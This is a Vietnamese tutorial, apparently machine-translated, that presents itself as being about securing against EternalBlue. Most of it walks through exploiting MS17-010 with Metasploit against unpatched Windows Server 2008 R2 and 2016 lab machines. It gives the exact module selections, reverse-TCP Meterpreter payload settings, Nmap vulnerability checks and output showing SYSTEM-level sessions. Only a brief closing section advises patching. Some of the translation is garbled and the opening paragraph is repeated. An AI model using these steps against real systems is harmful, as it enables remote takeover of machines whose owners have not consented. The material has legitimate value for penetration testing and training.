cách bảo mật exploit eternalblue

Các lỗ hổng và khai thác đặc biệt xuất hiện và tạo ra các tiêu đề với những cái tên hấp dẫn. EternalBlue là một trong những khai thác đó. Ban đầu gắn liền với NSA, khai thác này đã khai thác một lỗ hổng trong giao thức SMB, ảnh hưởng đến nhiều máy Windows và tàn phá khắp nơi. Tại đây sẽ sử dụng EternalBlue để khai thác SMB thông qua Metasploit.

Các lỗ hổng và khai thác đặc biệt xuất hiện và tạo ra các tiêu đề với những cái tên hấp dẫn. EternalBlue là một trong những khai thác đó. Ban đầu gắn liền với NSA, khai thác này đã khai thác một lỗ hổng trong giao thức SMB, ảnh hưởng đến nhiều máy Windows và tàn phá khắp nơi. Tại đây sẽ sử dụng EternalBlue để khai thác SMB thông qua Metasploit.

EternalBlue là gì?

EternalBlue là một khai thác rất có thể được NSA phát triển. Nó được phát hành vào năm 2017 bởi Shadow Brokers , một nhóm tin tặc nổi tiếng với các công cụ rò rỉ và khai thác được sử dụng bởi Equation Group , có liên quan đến đơn vị Hoạt động truy cập phù hợp của NSA.

EternalBlue, còn được gọi là MS17-010 , là một lỗ hổng trong giao thức SMB ( Server Message Block ) của Microsoft . SMB cho phép các hệ thống chia sẻ quyền truy cập vào các tệp, máy in và các tài nguyên khác trên mạng. Lỗ hổng được phép xảy ra vì các phiên bản trước của SMB có một lỗ hổng cho phép kẻ tấn công thiết lập kết nối phiên null thông qua đăng nhập ẩn danh. Kẻ tấn công sau đó có thể gửi các gói không đúng định dạng và cuối cùng thực hiện các lệnh tùy ý trên mục tiêu.

EternalBlue chịu trách nhiệm chính cho sự bùng phát của ransomware WannaCry , NotPetya và BadRmus, cũng như sâu EternalRocks.

Tùy chọn 1 Khai thác EternalBlue với Metasploit

Chúng tôi sẽ sử dụng một bản sao chưa được vá của Windows Server 2008 R2 làm mục tiêu cho phần đầu tiên của hướng dẫn này. Một bản đánh giá có thể được tải xuống từ Microsoft để bạn có thể theo dõi tốt hơn.

Bước 1Tìm mô-đun để sử dụng

Điều đầu tiên chúng ta cần làm là mở terminal và khởi động Metasploit . Loại dịch vụ PostgreSQL bắt đầu để khởi tạo cơ sở dữ liệu PostgreSQL, nếu nó không được chạy đã, tiếp theo là msfconsole .

service postgresql start
msfconsole

Tiếp theo, sử dụng lệnh tìm kiếm trong Metasploit để xác định vị trí mô-đun phù hợp để sử dụng.

search eternalblue
Matching Modules
================

   Name                                           Disclosure Date  Rank     Check  Description
   ----                                           ---------------  ----     -----  -----------
   auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

Có một máy quét phụ trợ mà chúng ta có thể chạy để xác định xem mục tiêu có dễ bị MS17-010 không . Nó luôn luôn là một ý tưởng tốt để thực hiện cần thiết trinh sát như thế này. Mặt khác, bạn có thể sẽ lãng phí rất nhiều thời gian nếu mục tiêu thậm chí không dễ bị tổn thương.

Khi chúng tôi đã xác định rằng mục tiêu của chúng tôi thực sự dễ bị tổn thương đối với EternalBlue, chúng tôi có thể sử dụng mô-đun khai thác sau từ tìm kiếm chúng tôi vừa thực hiện.

use exploit/windows/smb/ms17_010_eternalblue

Bạn sẽ biết bạn tốt nếu bạn thấy lời nhắc “khai thác (windows / smb / ms17_010_eternalblue)”.

Bước 2 Chạy mô-đun

Chúng ta có thể xem các cài đặt hiện tại bằng lệnh tùy chọn .

options
Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target address range or CIDR identifier
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

Đầu tiên, chúng ta cần chỉ định địa chỉ IP của mục tiêu.

set rhosts 10.10.0.101
rhosts => 10.10.0.101

Tiếp theo, chúng ta có thể tải shell Reverse_tcp đáng tin cậy làm tải trọng .

set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

Cuối cùng, đặt máy chủ nghe thành địa chỉ IP của máy cục bộ của chúng tôi.

set lhost 10.10.0.1
lhost => 10.10.0.1

Và cổng nghe đến một số phù hợp.

set lport 4321
lport => 4321

Đó phải là tất cả mọi thứ, vì vậy điều duy nhất còn lại phải làm là khởi động khai thác. Sử dụng lệnh chạy để bắn nó đi.

run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.101:445 - Connecting to target for exploitation.
[+] 10.10.0.101:445 - Connection established for exploitation.
[+] 10.10.0.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.101:445 - CORE raw buffer dump (51 bytes)
[*] 10.10.0.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 10.10.0.101:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
[*] 10.10.0.101:445 - 0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 10.10.0.101:445 - 0x00000030  6b 20 31                                         k 1
[+] 10.10.0.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.101:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.101:445 - Starting non-paged pool grooming
[+] 10.10.0.101:445 - Sending SMBv2 buffers
[+] 10.10.0.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.101:445 - Sending final SMBv2 buffers.
[*] 10.10.0.101:445 - Sending last fragment of exploit packet!
[*] 10.10.0.101:445 - Receiving response from exploit packet
[+] 10.10.0.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.101:445 - Sending egg to corrupted connection.
[*] 10.10.0.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.101
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.101:49207) at 2019-03-26 11:01:46 -0500
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

Chúng tôi thấy một vài điều xảy ra ở đây, như kết nối SMB được thiết lập và gói khai thác được gửi. Cuối cùng, chúng ta thấy một “THẮNG” và một phiên mét được mở. Đôi khi, lần khai thác này sẽ không hoàn thành thành công ngay lần đầu tiên, vì vậy nếu nó không thử lại và nó sẽ hoàn thành.

Bước 3 Xác minh mục tiêu đã thỏa hiệp

Chúng tôi có thể xác minh rằng chúng tôi đã thỏa hiệp mục tiêu bằng cách chạy các lệnh như sysinfo để lấy thông tin hệ điều hành.

sysinfo
Computer        : S02
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 2
Meterpreter     : x64/windows

Và getuid để có được tên người dùng hiện tại.

getuid
Server username: NT AUTHORITY\SYSTEM

Khai thác này không hoạt động tốt trên các hệ thống mới hơn và trong một số trường hợp, nó có thể làm sập máy đích. Tiếp theo, chúng ta sẽ khám phá một khai thác tương tự đáng tin cậy hơn một chút, nhưng cũng nguy hiểm chết người.

Tùy chọn 2: EternalRomance / EternalSynergy / EternalChampion

Như thể EternalBlue không đủ sức tàn phá, ba khai thác tương tự đã được phát triển sau đó. EternalRomance và EternalSynergy khai thác một loại nhầm lẫn ( CVE-2017-0143 ), trong khi EternalChampion và EternalSynergy khai thác một điều kiện chủng tộc ( CVE-2017-0146 ).

Chúng được kết hợp thành một mô-đun Metasploit duy nhất cũng sử dụng tải trọng psexec cổ điển. Nó được coi là đáng tin cậy hơn EternalBlue, ít có khả năng đánh sập mục tiêu và hoạt động trên tất cả các phiên bản Windows chưa được vá gần đây, cho đến Server 2016 và Windows 10.

Nhắc nhở duy nhất là khai thác này đòi hỏi một đường ống được đặt tên. Các ống được đặt tên cung cấp một phương thức để chạy các quy trình để giao tiếp với nhau, thường xuất hiện dưới dạng tệp để các quy trình khác đính kèm. Mô-đun Metasploit tự động kiểm tra các đường ống được đặt tên, làm cho nó khá đơn giản để sử dụng miễn là một đường ống có tên có mặt trên mục tiêu.

Bước 1: Tìm mục tiêu dễ bị tổn thương

Chúng ta có thể sử dụng Nmap như một giải pháp thay thế cho máy quét Metasploit để khám phá xem mục tiêu có dễ bị tấn công với EternalBlue hay không. Các Nmap Scripting Engine là một tính năng mạnh mẽ của công cụ cốt lõi cho phép tất cả các loại kịch bản để chạy chống lại một mục tiêu.

Tại đây, chúng tôi sẽ sử dụng tập lệnh smb-Vuln-ms17-010 để kiểm tra lỗ hổng. Mục tiêu của chúng tôi sẽ là một bản sao chưa từng có của phiên bản Windows Server 2016 Datacenter. Bản sao đánh giá có thể được tải xuống từ Microsoft để bạn có thể theo dõi nếu muốn.

Chúng tôi có thể chỉ định một tập lệnh duy nhất để chạy với tùy chọn –script , cùng với cờ -v cho mức độ chi tiết và địa chỉ IP của mục tiêu của chúng tôi. Đầu tiên, thay đổi thư mục trong trường hợp bạn vẫn đang chạy Metasploit.

cd
nmap --script smb-vuln-ms17-010 -v 10.10.0.100

Nmap sẽ bắt đầu chạy và không mất quá nhiều thời gian vì chúng tôi chỉ chạy một tập lệnh. Ở dưới cùng của đầu ra, chúng tôi sẽ tìm thấy kết quả.

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-26 11:05 CDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:05

...

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

NSE: Script Post-scanning.
Initiating NSE at 11:05
Completed NSE at 11:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
           Raw packets sent: 1181 (51.948KB) | Rcvd: 1001 (40.060KB)

Chúng ta có thể thấy nó liệt kê mục tiêu là dễ bị tổn thương, cùng với thông tin bổ sung như các yếu tố rủi ro và liên kết đến CVE.

Bước 2 Tìm mô-đun để sử dụng

Bây giờ chúng tôi biết mục tiêu dễ bị tổn thương, chúng tôi có thể quay lại Metasploit và tìm kiếm một khai thác thích hợp.

msfconsole
search eternalromance
Matching Modules
================

   Name                                  Disclosure Date  Rank    Check  Description
   ----                                  ---------------  ----    -----  -----------
   auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

Và tải mô-đun trong Metasploit bằng lệnh use .

use exploit/windows/smb/ms17_010_psexec

Bạn sẽ biết bạn tốt nếu bạn thấy lời nhắc “khai thác (windows / smb / ms17_010_psexec)”.

Bước 3: Chạy mô-đun

Hãy xem xét các lựa chọn của chúng tôi:

options
Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                                yes       The target address range or CIDR identifier
   RPORT                 445                                                             yes       The Target port
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Có vẻ như khai thác này sử dụng một danh sách các đường ống được đặt tên để kiểm tra và kết nối với một chia sẻ. Hiện tại chúng ta có thể để tất cả điều này là mặc định, nhưng chúng ta cần đặt máy chủ từ xa.

set rhosts 10.10.0.100
rhosts => 10.10.0.100

Và tải trọng vỏ ngược.

set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

Và chủ nhà địa phương

set lhost 10.10.0.1
lhost => 10.10.0.1

Và cảng địa phương.

set lport 4321
lport => 4321

Chúng ta nên đi ngay bây giờ. Gõ chạy để khởi chạy khai thác.

run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.100:445 - Target OS: Windows Server 2016 Standard Evaluation 14393
[*] 10.10.0.100:445 - Built a write-what-where primitive...
[+] 10.10.0.100:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.0.100:445 - Selecting PowerShell target
[*] 10.10.0.100:445 - Executing the payload...
[+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.10.0.100
[*] Meterpreter session 2 opened (10.10.0.1:4321 -> 10.10.0.100:49965) at 2019-03-26 11:12:30 -0500

Chúng tôi có thể thấy tải trọng được thực thi thành công và chúng tôi kết thúc với phiên Đồng hồ đo.

Bước 4: Xác minh mục tiêu đã thỏa hiệp

Một lần nữa, chúng tôi có thể xác minh chúng tôi đã thỏa hiệp hệ thống bằng các lệnh như sysinfo .

sysinfo
Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windows

Và getuid .

getuid
Server username: NT AUTHORITY\SYSTEM

Phòng ngừa & Hiện trạng

Bất chấp tất cả thiệt hại mà EternalBlue đã gây ra, có một cách đáng tin cậy để ngăn chặn các kiểu khai thác này: vá hệ thống của bạn! Tại thời điểm này, gần hai năm kể từ khi các lỗ hổng này được tiết lộ, thực sự không có lý do gì để có các hệ điều hành chưa được vá.

EternalBlue tiếp tục là một vấn đề, và mặc dù hậu quả rất nghiêm trọng, thật không may, một số tổ chức vẫn sẽ chạy các hệ thống chưa được vá. Điều đó, kết hợp với các phiên bản lậu của Windows, khiến EternalBlue trở thành mối đe dọa đáng kể cho đến ngày nay.

Cryptojacking, sử dụng máy tính của nạn nhân để bí mật khai thác tiền điện tử , là một vectơ đe dọa khác sử dụng EternalBlue để thúc đẩy các cuộc tấn công. WannaMine là một trong những vụ dịch đã tấn công máy tính trên toàn thế giới vào năm 2018.

Để lại một bình luận